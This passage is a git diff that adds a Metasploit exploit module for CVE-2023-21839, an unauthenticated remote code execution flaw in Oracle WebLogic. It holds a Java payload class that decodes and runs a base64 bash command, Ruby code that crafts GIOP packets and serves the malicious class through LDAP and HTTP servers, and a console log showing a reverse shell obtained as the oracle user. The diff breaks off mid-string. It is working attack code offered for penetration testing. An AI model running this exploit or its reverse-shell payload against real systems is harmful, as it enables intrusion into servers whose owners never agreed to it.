diff --git a/Gemfile.lock b/Gemfile.lock index 35b2bd0a91..878411437d 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -388,7 +388,7 @@ GEM metasm rex-core rex-text - rex-socket (0.1.51) + rex-socket (0.1.52) rex-core rex-sslscan (0.1.9) rex-core diff --git a/data/exploits/CVE-2023-21839/PayloadRuns.class b/data/exploits/CVE-2023-21839/PayloadRuns.class new file mode 100644 index 0000000000..d6ee272398 Binary files /dev/null and b/data/exploits/CVE-2023-21839/PayloadRuns.class differ diff --git a/data/exploits/CVE-2023-21839/PayloadRuns.java b/data/exploits/CVE-2023-21839/PayloadRuns.java new file mode 100644 index 0000000000..03e1bb6d95 --- /dev/null +++ b/data/exploits/CVE-2023-21839/PayloadRuns.java @@ -0,0 +1,11 @@ +import java.util.Base64; + +public class PayloadRuns { + static { + try { + Runtime.getRuntime().exec("bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}"); + } catch (Exception ex) { + ex.printStackTrace(); + } + } +} \ No newline at end of file diff --git a/documentation/modules/exploit/multi/iiop/cve_2023_21839_weblogic_rce.md b/documentation/modules/exploit/multi/iiop/cve_2023_21839_weblogic_rce.md new file mode 100644 index 0000000000..824a18e9d9 --- /dev/null +++ b/documentation/modules/exploit/multi/iiop/cve_2023_21839_weblogic_rce.md @@ -0,0 +1,120 @@ +## Vulnerable Application + +### Description +Oracle Weblogic 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 prior to the Jan 2023 security update are vulnerable to an unauthenticated +remote code execution vulnerability due to a post deserialization vulnerability. This occurs when an attacker serializes +a `ForeignOpaqueReference` class object, deserializes it on the target, and then post deserialization, calls the +object's `getReferent()` method, which will make use of the `ForeignOpaqueReference` class's `remoteJNDIName` variable, +which is under the attackers control, to do a remote loading of the JNDI address specified by `remoteJNDIName` via +the `lookup()` function. + +This can in turn lead to a deserialization vulnerability whereby an attacker supplies the address of a HTTP server hosting +a malicious Java class file, which will then be loaded into the Oracle Weblogic process's memory and an attempt to +create a new instance of the attacker's class will be made. Attackers can utilize this to execute arbitrary Java +code during the instantiation of the object, thereby getting remote code execution as the `oracle` user. + +This module exploits this vulnerability to trigger the JNDI connection to a LDAP server we control. The LDAP server will +then respond with a remote reference response that points to a HTTP server that we control, where the malicious Java +class file will be hosted. Oracle Weblogic will then make a HTTP request to retrieve the malicious Java class file, +at which point our HTTP server will serve up the malicious class file and Oracle Weblogic will instantiate +an instance of that class, granting us RCE as the `oracle` user. + +This vulnerability was exploited in the wild as noted by KEV on May 1st 2023: https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability + +## Verification Steps + +1. Make sure you have Docker and Docker Compose installed. If not follow https://docs.docker.com/engine/install. +2. `git clone git@github.com:vulnhub/vulnhub.git` +3. `cd weblogic/CVE-2023-21839/cmd` +4. `docker-compose up -d` and wait for the build to finish, then a few seconds for startup. +5. Do: `use exploit/multi/iiop/cve_2023_21839_weblogic_rce` +6. Do `set SRVPORT *some high port*` for LDAP server port number since we can't listen on the default port `389` without being `root`. +7. Do `set HTTP_SRVPORT *port*` if you want to change the HTTP server port. +8. Do `set RHOSTS 127.0.0.1` to target the local Docker instance. +9. Do `set SRVHOST *LDAP server IP address*` for LDAP server host. NOTE: Have to provide a routeable IP address, 0.0.0.0 won't work. +10. Do `set LHOST *IP address of Metasploit machine*` +11. Do: `exploit` +12. Verify that you get a shell on the target system as the `oracle` user. + + +## Options + +### HTTP_SRVPORT +The port where the HTTP server will listen. + +### SRVPORT +The port where the LDAP server will listen. + +### SRVHOST +The IP address where where the LDAP server will be listening. + +## Scenarios + +### Oracle Weblogic 12.2.1.3 with Java 1.8.0_151-b12 - Docker Image +``` +msf6 exploit(multi/iiop/cve_2023_21839_weblogic_rce) > show options + +Module options (exploit/multi/iiop/cve_2023_21839_weblogic_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + HTTP_SRVPORT 8089 yes The HTTP server port + LDIF_FILE no Directory LDIF file path + RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 7001 yes The target port (TCP) + SRVHOST 192.168.204.149 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. + SRVPORT 4939 yes The local port to listen on. + + +Payload options (cmd/unix/reverse_bash): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.204.149 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Linux + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/iiop/cve_2023_21839_weblogic_rce) > check +[+] 127.0.0.1:7001 - The target is vulnerable. Target is a Oracle WebServer 12.2.1.3 server, and is vulnerable! +msf6 exploit(multi/iiop/cve_2023_21839_weblogic_rce) > exploit + +[*] Started reverse TCP handler on 192.168.204.149:4444 +[*] 127.0.0.1:7001 - Running automatic check ("set AutoCheck false" to disable) +[+] 127.0.0.1:7001 - The target is vulnerable. Target is a Oracle WebServer 12.2.1.3 server, and is vulnerable! +[*] 127.0.0.1:7001 - 1. Making T3 connection... +[+] 127.0.0.1:7001 - Made T3 connection! +[*] 127.0.0.1:7001 - 2. Sending first GIOP LocateRequest packet +[+] 127.0.0.1:7001 - Step 2 complete! +[*] 127.0.0.1:7001 - 3. Sending rebindAny request! +[+] 127.0.0.1:7001 - Step 3 complete! +[*] 127.0.0.1:7001 - 4. Sending second rebindAny request! +[+] 127.0.0.1:7001 - Step 4 complete! +[*] 127.0.0.1:7001 - 5. Sending second GIOP LocateRequest packet +[+] 127.0.0.1:7001 - Step 5 complete! +[*] 127.0.0.1:7001 - 6. Sending resolve packet #1 with wls_key_1 +[+] 127.0.0.1:7001 - Step 6 complete! +[*] 127.0.0.1:7001 - Serving Java code on: http://192.168.204.149:8089/PayloadRuns.class +[*] 127.0.0.1:7001 - 7. Sending resolve packet #2 with wls_key_2 +[+] 127.0.0.1:7001 - Step 7 complete! +[*] 127.0.0.1:7001 - Sleeping for 8 seconds to allow LDAP and HTTP traffic to go through. +[*] Command shell session 1 opened (192.168.204.149:4444 -> 172.18.0.2:46440) at 2023-05-17 16:48:56 -0500 + +id +uid=1000(oracle) gid=1000(oracle) groups=1000(oracle) +whoami +oracle +uname -a +Linux 8e6d76ecdb0d 5.19.0-41-generic #42~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 18 17:40:00 UTC 2 x86_64 x86_64 x86_64 GNU/Linux +pwd +/u01/oracle/user_projects/domains/base_domain +``` diff --git a/lib/msf/core/exploit/remote/jndi_injection.rb b/lib/msf/core/exploit/remote/jndi_injection.rb index 468b9c5276..843cac6829 100644 --- a/lib/msf/core/exploit/remote/jndi_injection.rb +++ b/lib/msf/core/exploit/remote/jndi_injection.rb @@ -29,7 +29,7 @@ module Exploit::Remote::JndiInjection # @return [String] the JNDI string def jndi_string(resource = nil) resource ||= "dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}" - "ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{resource}" + "ldap://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['SRVPORT'])}/#{resource}" end ## LDAP service callbacks diff --git a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb new file mode 100644 index 0000000000..a3307eca39 --- /dev/null +++ b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb @@ -0,0 +1,694 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::Remote::Tcp + include Exploit::Remote::JndiInjection + prepend Msf::Exploit::Remote::AutoCheck + + # Page 19 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf explains these codes. + GIOP_REQUEST = 0 + GIOP_REPLY = 1 + GIOP_CANCEL_REQUEST = 2 + GIOP_LOCATE_REQUEST = 3 + GIOP_LOCATE_REPLY = 4 + GIOP_CLOSE_CONNECTION = 5 + GIOP_MESSAGE_ERROR = 6 + GIOP_FRAGMENT = 7 + + # Taken from page 561 of https://www.omg.org/spec/CORBA/3.0.3/PDF + SYNCSCOPE_NONE = 0 + SYNCSCOPE_WITH_TRANSPORT = 0 + SYNCSCOPE_WITH_SERVER = 1 + SYNCSCOPE_WITH_TARGET = 3 + + # Taken from page 588 of https://www.omg.org/spec/CORBA/3.0.3/PDF + ADDR_DISPOSITION_KEYADDR = 0 + ADDR_DISPOSITION_PROFILE_ADDR = 1 + ADDR_DISPOSITION_REFERENCE_ADDR = 2 + + # GIOP Protocol RequestReply Header Codes + # Type is ReplyStatusType -> Taken from page 24 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf + NO_EXCEPTION = 0 + USER_EXCEPTION = 1 + SYSTEM_EXCEPTION = 2 + LOCATION_FORWARD = 3 + + # GIOP Protocol LocateReply Header Codes + # Taken from page 28 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf + UNKNOWN_OBJECT = 0 + OBJECT_HERE = 1 + OBJECT_FORWARD = 2 + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Oracle Weblogic PreAuth Remote Command Execution via ForeignOpaqueReference IIOP Deserialization', + 'License' => MSF_LICENSE, + 'Author' => [ + '4ra1n', # From X-Ray Security Team of Chaitin Tech. The researcher who originally found this vulnerability and wrote the PoC. + '14m3ta7k', # Of gobysec team. Wrote the writeup and analysis of this vulnerability. + 'Grant Willcox' # @tekwizz123 This Metasploit module + ], + 'Description' => %q{ + Oracle Weblogic 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 prior to the Jan 2023 security update are vulnerable to an unauthenticated + remote code execution vulnerability due to a post deserialization vulnerability. This occurs when an attacker serializes + a "ForeignOpaqueReference" class object, deserializes it on the target, and then post deserialization, calls the + object's "getReferent()" method, which will make use of the "ForeignOpaqueReference" class's "remoteJNDIName" variable, + which is under the attackers control, to do a remote loading of the JNDI address specified by "remoteJNDIName" via + the "lookup()" function. + + This can in turn lead to a deserialization vulnerability whereby an attacker supplies the address of a HTTP server hosting + a malicious Java class file, which will then be loaded into the Oracle Weblogic process's memory and an attempt to + create a new instance of the attacker's class will be made. Attackers can utilize this to execute arbitrary Java + code during the instantiation of the object, thereby getting remote code execution as the "oracle" user. + + This module exploits this vulnerability to trigger the JNDI connection to a LDAP server we control. The LDAP server will + then respond with a remote reference response that points to a HTTP server that we control, where the malicious Java + class file will be hosted. Oracle Weblogic will then make a HTTP request to retrieve the malicious Java class file, + at which point our HTTP server will serve up the malicious class file and Oracle Weblogic will instantiate + an instance of that class, granting us RCE as the "oracle" user. + + This vulnerability was exploited in the wild as noted by KEV on May 1st 2023: https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability + }, + 'References' => [ + ['CVE', '2023-21839'], + ['URL', 'https://www.oracle.com/security-alerts/cpujan2023.html'], # Advisory + ['URL', 'https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_en_US.md'], # Writeup + ['URL', 'https://github.com/gobysec/Weblogic/blob/main/Weblogic_Serialization_Vulnerability_and_IIOP_Protocol_en_US.md'], # Additional Info on Weblogic and IIOP + ['URL', 'https://github.com/4ra1n/CVE-2023-21839'], # PoC + ['URL', 'https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability'] # EITW alert. + ], + 'Privileged' => false, + 'Targets' => [ + [ + 'Linux', { + 'Platform' => %w[unix linux], + 'Arch' => [ARCH_CMD], + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + } + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2023-01-17', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + register_options( + [ + Opt::RPORT(7001), + OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080]) + ] + ) + end + + def get_weblogic_version + socket = connect + http_request = Rex::Proto::Http::ClientRequest.new( + { + 'uri' => '/console/login/LoginForm.jsp', + 'vhost' => datastore['RHOST'], + 'port' => datastore['RPORT'] + } + ).to_s + socket.put(http_request.to_s) + res = socket.get + fail_with(Failure::UnexpectedReply, 'Could not get the Weblogic login page') unless res + + # Disconnect as we will want a new socket for future connections. + disconnect + + # Do the regex on the result to find the version. + version = res.match(/WebLogic Server Version: ((?:\d{1,3}\.){4}\d{1,3})/) + fail_with(Failure::UnexpectedReply, 'Could not get the version information from the Weblogic login page') if version.nil? + version = version[1] + + Rex::Version.new(version) + end + + def giop_header(msg_type) + header = '' + header << 'GIOP' # Magic + header << "\x01\x02" # Version, in this case 1.2 of the GIOP protocol. + header << "\x00" # Message flags + case msg_type + when GIOP_REQUEST, GIOP_CANCEL_REQUEST, GIOP_LOCATE_REQUEST, GIOP_MESSAGE_ERROR, GIOP_FRAGMENT + header << [msg_type].pack('C') + else + fail_with(Failure::BadConfig, 'Attempt was made to send a packet with an invalid GIOP header!') + end + header << 'LENGTH_REPLACE_ME' + end + + # LocateRequest packets are used to determine whether an object reference is valid, + # whether the current server is capable of directly receiving request for the object reference, + # and if not, to what address the request for the object should be sent. + # + # Taken from https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf page 27 + def giop_locate_request_packet(keyaddress = 'NameService') + header = giop_header(GIOP_LOCATE_REQUEST) # GIOP Header with LocateRequest attribute + data = '' + packet = '' + + @request_id = 1 if @request_id.nil? + @request_id += 1 + data << [@request_id].pack('N') # Request ID + data << [0].pack('n') # TargetAddress, 2 byte field + data << [0].pack('n') # Padding, 2 bytes + data << [keyaddress.length].pack('N') # Key Address Length + data << keyaddress + + packet << header + packet << data + packet.gsub!('LENGTH_REPLACE_ME', [data.length].pack('N')) + + packet + end + + def create_service_context(vscid, scid, context_data, endian = 0) + context = '' + seq_length = context_data.length + 1 # Add 1 to account for the endian byte being part of the sequence length. + context << vscid # 3 byte long VSCID + context << [scid].pack('C') # 1 byte long SCID + context << [seq_length].pack('N') # 4 byte long sequence length + context << [endian].pack('C') # 1 byte indicator of endianness. 0 is big endian, 1 is little endian. + context << context_data + + context + end + + def giop_rebind_any_packet(sync_scope, addr_disposition, key_address, stub_data, context_list_length) + header = giop_header(GIOP_REQUEST) # GIOP Header with REQUEST attribute + data = '' + packet = '' + + @request_id = 1 if @request_id.nil? + @request_id += 1 + data << [@request_id].pack('N') # Request ID + data << [sync_scope].pack('C') # Response flags + data << "\x00\x00\x00" # Reserved + data << [addr_disposition].pack('n') # TargetAddress, 2 bytes + data << [0].pack('n') # Two bytes of padding. + data << [key_address.length].pack('N') # Key Address Length + data << key_address + data << [11].pack('N') # Operation Length + 1 for a NULL byte to terminate the operation name? + data << "rebind_any\x00" # Request Operation + + service_context_list = '' + service_context_list << "\x00" # Seems we have one byte of padding? Lets account for this. + service_context_list << [context_list_length].pack('N') # Sequence Length + service_context_list << '{SERVICE_CONTEXT_LIST}' + + @java_class_name = 'PayloadRuns' + ldap_uri = jndi_string(@java_class_name) + stub_data += [ldap_uri.length].pack('C') + ldap_uri + + data << service_context_list + data << stub_data + + packet << header + packet << data + + packet + end + + def goip_resolve_request_packet(sync_scope, addr_disposition, key_address, context_list_length, cos_naming_disector, seq_len) + header = giop_header(GIOP_REQUEST) # GIOP Header with REQUEST attribute + data = '' + packet = '' + + @request_id = 1 if @request_id.nil? + @request_id += 1 + data << [@request_id].pack('N') # Request ID + data << [sync_scope].pack('C') # Response flags + data << "\x00\x00\x00" # Reserved + data << [addr_disposition].pack('n') # TargetAddress, 2 bytes + data << [0].pack('n') # Two bytes of padding. + data << [key_address.length].pack('N') # Key Address Length + data << key_address + data << [8].pack('N') # Operation Length + 1 for a NULL byte to terminate the operation name? + data << "resolve\x00" # Request Operation + + service_context_list = '' + service_context_list << [context_list_length].pack('N') # Sequence Length + service_context_list << '{SERVICE_CONTEXT_LIST}' + + cos_data = '' + if cos_naming_disector + cos_data << "\x00\x00\x00\x00" + cos_data << [seq_len].pack('N') # Sequence length + name_component = "test\x00" + cos_data << [name_component.length].pack('N') # Name component length including NULL byte. + cos_data << name_component + cos_data << "\x00\x00\x00\x00\x00\x00\x01\x00" # Unknown data, Wireshark could not decode this. + end + + data << service_context_list + data << cos_data + + packet << header + packet << data + + packet + end + + def check + begin + @version = get_weblogic_version + fail_with(Failure::UnexpectedReply, 'Could not find the target Weblogic version in the t3 response!') if @version.nil? + rescue ::Timeout::Error + fail_with(Failure::TimeoutExpired, 'Was unable to connect to target. Connection timed out.') + rescue Rex::AddressInUse + fail_with(Failure::BadConfig, 'Address is currently in use') + rescue Rex::HostUnreachable + fail_with(Failure::Unreachable, 'Target host is unreachable!') + rescue Rex::ConnectionRefused + fail_with(Failure::Disconnected, 'Target refused connection!') + rescue ::Errno::ETIMEDOUT, Rex::ConnectionTimeout + fail_with(Failure::TimeoutExpired, 'Was unable to connect to target. Connection timed out.') + end + + if @version.between?(Rex::Version.new('12.2.1.3.0'), Rex::Version.new('12.2.1.3.9999')) + return CheckCode::Vulnerable('Target is a Oracle WebServer 12.2.1.3 server, and is vulnerable!') + elsif @version.between?(Rex::Version.new('12.2.1.4.0'), Rex::Version.new('12.2.1.4.9999')) + return CheckCode::Vulnerable('Target is a Oracle WebServer 12.2.1.4 server, and is vulnerable!') + elsif @version.between?(Rex::Version.new('14.1.1.0.0'), Rex::Version.new('14.1.1.0.9999')) + return CheckCode::Vulnerable('Target is a Oracle WebServer 14.1.1.0 server, and is vulnerable!') + else + return CheckCode::Safe('Target is not a vulnerable version of Oracle WebServer!') + end + end + + # HTTP Server Related Functions and Overrides + + # Returns the configured URIPATH along with the path to the Java class we are serving + def resource_uri + "#{datastore['URIPATH']}/#{@java_class_name}.class" + end + + # Want to just point this to the base of our install. WebLogic will append *CLASS NAME*.class to the end of + # this URL when it tries to fetch the class to be loaded and instantiated. + def ldap_url_string + "http#{datastore['SSL'] ? 's' : ''}://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['HTTP_SRVPORT'])}/" + end + + # + # Handle the HTTP request and return a response. Code borrowed from: + # msf/core/exploit/http/server.rb + # + def start_http_service(opts = {}) + # Start a new HTTP server + @http_service = Rex::ServiceManager.start( + Rex::Proto::Http::Server, + (opts['ServerPort'] || bindport).to_i, + opts['ServerHost'] || bindhost, + datastore['SSL'], + { + 'Msf' => framework, + 'MsfExploit' => self + }, + opts['Comm'] || _determine_server_comm(opts['ServerHost'] || bindhost), + datastore['SSLCert'], + datastore['SSLCompression'], + datastore['SSLCipher'], + datastore['SSLVersion'] + ) + @http_service.server_name = datastore['HTTP::server_name'] + # Default the procedure of the URI to on_request_uri if one isn't + # provided. + uopts = { + 'Proc' => method(:on_request_uri), + 'Path' => resource_uri + }.update(opts['Uri'] || {}) + proto = (datastore['SSL'] ? 'https' : 'http') + + netloc = opts['ServerHost'] || bindhost + http_srvport = (opts['ServerPort'] || bindport).to_i + print_status("Serving Java code on: #{proto}://#{Rex::Socket.to_authority(netloc, http_srvport)}#{uopts['Path']}") + + # Add path to resource + @service_path = uopts['Path'] + @http_service.add_resource(uopts['Path'], uopts) + end + + # + # Kill HTTP service (shut it down and clear resources) + # + def cleanup + # Stop the LDAP server + cleanup_service + + # Clean and stop HTTP server + if @http_service + begin + @http_service.remove_resource(datastore['URIPATH']) + @http_service.deref + @http_service.stop + @http_service = nil + rescue StandardError => e + print_error("Failed to stop http server due to #{e}") + end + end + super + end + + # + # Handle HTTP requests and responses + # + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + vprint_good("Payload requested by #{cli.peerhost} using #{agent}") + class_raw = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-21839', 'PayloadRuns.class')) + base64_payload = Rex::Text.encode_base64(payload.encoded) + exec_command_length = 'bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}'.length + command_length = (exec_command_length - 'PAYLOAD'.length) + base64_payload.length + class_raw = class_raw.gsub("\x00\x2C", [command_length].pack('n')) + class_raw = class_raw.gsub('PAYLOAD', base64_payload) + send_response(cli, 200, 'OK', class_raw) + end + + # + # Create an HTTP response and then send it + # + def send_response(cli, code, message = 'OK', html = '') + proto = Rex::Proto::Http::DefaultProtocol + res = Rex::Proto::Http::Response.new(code, message, proto) + res.body = html + cli.send_response(res) + end + + # LDAP Server Overrides + def build_ldap_search_response_payload + # Always do a remote load + # Note that for reasons unknown this URL cannot be anything but the base URL of the HTTP server. + # You can add anchor tags using # to the URL but thats it. + build_ldap_search_response_payload_remote(ldap_url_string, @java_class_name) + end + + # Main Exploit + def exploit + if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 + fail_with(Failure::BadConfig, 'SRVHOST must be set to a routable address!') + end + + if @version.blank? + @version = get_weblogic_version + end + + # Step 1 - Make T3 connection to start IIOP connection process, and read response. + socket = connect + print_status('1. Making T3 connection...') + socket.put("t3 9.2.0.0\nAS:255\nHL:92\nMS:10000000\nPU:t3://#{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}\n\n") + _buf = socket.get + disconnect + print_good('Made T3 connection!') + + # Step 2 - Send first GIOP LocateRequest packet + print_status('2. Sending first GIOP LocateRequest packet') + # Make a GIOP LocateRequest packet request and read response. + socket = connect + socket.put(giop_locate_request_packet) + locate_buf = socket.get + disconnect + print_good('Step 2 complete!') + + reply_status = locate_buf[16..19].unpack('N')&.dig(0) + if reply_status != OBJECT_FORWARD + fail_with(Failure::UnexpectedReply, 'Target did not respond with the expected OBJECT_FORWARD response to our GIOP LocateRequest packet!') + end + + # Calculate the target port + + # Start at offset 0x60 which will be inside the GIOP's LocateReply message, + # and will be where the IP address is located in the IOR response. + port_offset = 0x60 + + # Starting at this offset above, loop until we hit a zero byte in the IOR buffer. + # This works because the PORT number is represented as a 4 byte long number, aka 32 bits, + # and the upper part will never be used. Either that or there is a \x00\x00 padding section + # between the IP address and the port. + loop do + if locate_buf[port_offset] != "\x00" + port_offset += 0x1 + else + break + end + end + + # If port_offset is too large by this point then we have likely hit an error and should exit + if port_offset > 10240 + fail_with(Failure::UnexpectedReply, 'Response from server when calculating port_offset was malformed!') + end + + # Now, loop until we hit a non-zero byte in the IOR buffer. This should + # place at the location of the port part of the IP address that is embedded in the IOR message. + loop do + if locate_buf[port_offset] == "\x00" + port_offset += 0x1 + else + break + end + end + + port = [] + port.append(locate_buf[port_offset]) + port_offset += 1 + port.append(locate_buf[port_offset]) + + # Reformulate the port number from the array so we can get the actual port the target server is expecting us to use. + final_port = port[1].bytes[0] | (port[0].bytes[0] << 8) + + # Fail if the received port is not the one we expected. + if final_port != datastore['RPORT'] + fail_with(Failure::UnexpectedReply, "Target did not respond with the same RPORT in the GIOP LocateReply message as the one we expected. Expected #{datastore['RPORT']} but got #{final_port}") + end + + lt = port_offset - 0x60 # This will point us 1 byte into the request ID field of the GIOP LocateReply message. + foff = 0x60 + lt + 0x75 # This points us at some point within the IOR object that is just before the bytes V~QU5z�U + + loop do + if locate_buf[foff] == "\x00" + foff += 0x1 + else + break + end + end + + key1 = locate_buf[foff...foff + 8] + key2 = "\xff\xff\xff\xff" + locate_buf[foff + 4...foff + 8] + + if @version >= Rex::Version.new('12') && @version < Rex::Version.new('13') + wls_key_1 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49" \ + "\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43" \ + "\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x02\x38\x00\x00\x00\x00\x00\x00\x01\x42\x45\x41\x2c\x00\x00\x00\x10\x00" \ + "\x00\x00\x00\x00\x00\x00\x00{{key1}}" + wls_key_2 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49" \ + "\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43" \ + "\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x04{{key3}}\x00\x00\x00\x01\x42\x45\x41\x2c\x00\x00\x00\x10\x00" \ + "\x00\x00\x00\x00\x00\x00\x00{{key1}}" + elsif @version >= Rex::Version.new('14') && @version < Rex::Version.new('15') + wls_key_1 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64" \ + "\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49\x44\x4c\x3a\x77\x65\x62\x6c" \ + "\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d" \ + "\x69\x6e\x67\x43\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x02\x38\x00\x00" \ + "\x00\x00\x00\x00\x01\x42\x45\x41\x2e\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00{{key1}}" + wls_key_2 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65" \ + "\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72" \ + "\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43\x6f\x6e\x74\x65" \ + "\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x04{{key3}}\x00\x00\x00\x01\x42\x45\x41" \ + "\x2e\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00{{key1}}" + else + fail_with(Failure::NoTarget, 'Target is not running a supported version of Oracle Weblogic that can be targeted!') + end + + wls_key_1.gsub!('{{key1}}', key1) + + # Step 3 - Make a rebindAny request + key_addr = wls_key_1 + stub_data = "\x00\x00\x00\x01\x00\x00\x00\x04\x74\x65\x73\x74\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x1d\x00\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x01" \ + "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\xff\xff\x02\x00\x00\x00\x54\x52\x4d\x49\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x6a\x6e\x64\x69\x2e\x69" \ + "\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x46\x6f\x72\x65\x69\x67\x6e\x4f\x70\x61\x71\x75\x65\x52\x65\x66\x65\x72\x65\x6e\x63\x65\x3a\x44\x32\x33\x37\x44\x39\x31\x43\x42\x32\x46\x30\x46\x36\x38" \ + "\x41\x3a\x33\x44\x32\x31\x35\x32\x37\x46\x45\x44\x35\x39\x36\x45\x46\x31\x00\x00\x00\x00\x00\x7f\xff\xff\x02\x00\x00\x00\x23\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x43\x4f\x52\x42" \ + "\x41\x2f\x57\x53\x74\x72\x69\x6e\x67\x56\x61\x6c\x75\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x00" + socket = connect + packet = giop_rebind_any_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, "\x00\x00\x00\x00" + stub_data, 6) + + context_data = '' + @service_context_0 = create_service_context("\x00\x00\x00", 5, "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0d\x31\x37\x32\x2e\x32\x36\x2e\x31\x31\x32\x2e\x31\x00\x00\xec\x5b") + @service_context_1 = create_service_context("\x00\x00\x00", 1, "\x00\x00\x00\x00\x01\x00\x20\x05\x01\x00\x01") + @service_context_2 = create_service_context("\x42\x45\x41", 0, "\x0a\x03\x01") + + context_data << @service_context_0 + context_data << @service_context_1 + context_data << create_service_context("\x00\x00\x00", 6, "\x00\x00\x00\x00\x00\x00\x28\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x53\x65\x6e\x64\x69\x6e\x67\x43" \ + "\x6f\x6e\x74\x65\x78\x74\x2f\x43\x6f\x64\x65\x42\x61\x73\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x01\x02\x00\x00\x00\x00" \ + "\x0d\x31\x37\x32\x2e\x32\x36\x2e\x31\x31\x32\x2e\x31\x00\x00\xec\x5b\x00\x00\x00\x64\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00" \ + 